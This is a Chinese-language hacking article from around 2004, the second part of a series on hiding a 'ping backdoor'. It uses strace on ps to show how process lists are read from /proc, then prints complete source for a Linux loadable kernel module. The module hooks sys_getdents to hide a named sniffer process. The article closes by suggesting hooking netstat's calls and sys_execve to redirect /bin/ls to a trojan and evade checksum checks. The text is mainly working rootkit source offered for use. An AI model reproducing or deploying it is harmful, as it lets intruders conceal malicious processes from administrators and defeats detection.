|
|
※阅读文章※ |
pingbackdoor的隐藏(2)作者:大鹰 by 大鹰 www.patching.net 好,我们看进程的隐藏,其实道理和前面差不多,我们先来看看ps用了哪些系统调用,以便我们来截获它 [hello!e4gle]# strace ps ............. open("/proc/10284/stat", O_RDONLY) = 5 read(5, "10284 (ps) R 10283 10283 10169 7"..., 511) = 185 close(5) = 0 open("/proc/10284/statm", O_RDONLY) = 5 read(5, "115 115 96 5 0 110 19\n", 511) = 22 close(5) = 0 open("/proc/10284/status", O_RDONLY) = 5 read(5, "Name:\tps\nState:\tR (running)\nPid:"..., 511) = 411 close(5) = 0 ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0 brk(0) = 0x8162908 brk(0x8162928) = 0x8162928 brk(0x8163000) = 0x8163000 geteuid() = 0 getpid() = 10284 lseek(3, 0, SEEK_SET) = 0 read(3, "169129.48 167700.41\n", 1023) = 20 time(NULL) = 984486166 open("/proc/meminfo", O_RDONLY) = 5 ............... 我截取了一部分,其实已经可以说明问题,非常简单,象ps之类的命令并不是直接用任何特殊的系统调用 来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它 是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的( 比较奇怪吧;),那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息 ,所以呢,ps命令其实就是对/proc运行了ls而已,而进程的相关信息,则是在/proc/PID的目录里放着, 好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到sys_getdents(...),我们只要从 PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目录一 样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名 字的,至于文件隐藏,不用我多说了罢。 好,我把实现例程贴出来供参考: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*我们想要隐藏的进程名*/ char mtroj[] = "my_evil_sniffer"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); /*将string转换为数字*/ int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /*从PID里取得任务列表的结构*/ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /*从任务列表里取得进程的名字*/ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } /*检查这个进程是否是我们想要隐藏的家伙*/ int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /*从我刚才的第一篇文章就已经说过了,呵呵不多说了*/ int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*orig_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc=1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*加载*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_getdents]=orig_getdents; } 其实其他我就不多说了,都是在重复劳动了,同样隐藏网络连接我们可以截获netstat命令的系统调用就 可以了。 我们还可以截获sys_execve(...)来重定向系统命令如/bin/ps,/bin/ls,呵呵,其实和本文是两回事了, 说说而已,也就是把/bin/ls重定向到我们的ls木马或rootkit程序,这样可以躲过checksum的校验,因为 我们根本没有替换/bin/ls,呵呵,照这个思路我们可以做的事情非常多,发挥想象可以做出很多好玩的 木马。 文章加入时间: 2004-11-17 15:01:51 责任编辑: w9 (2253 人次查阅) |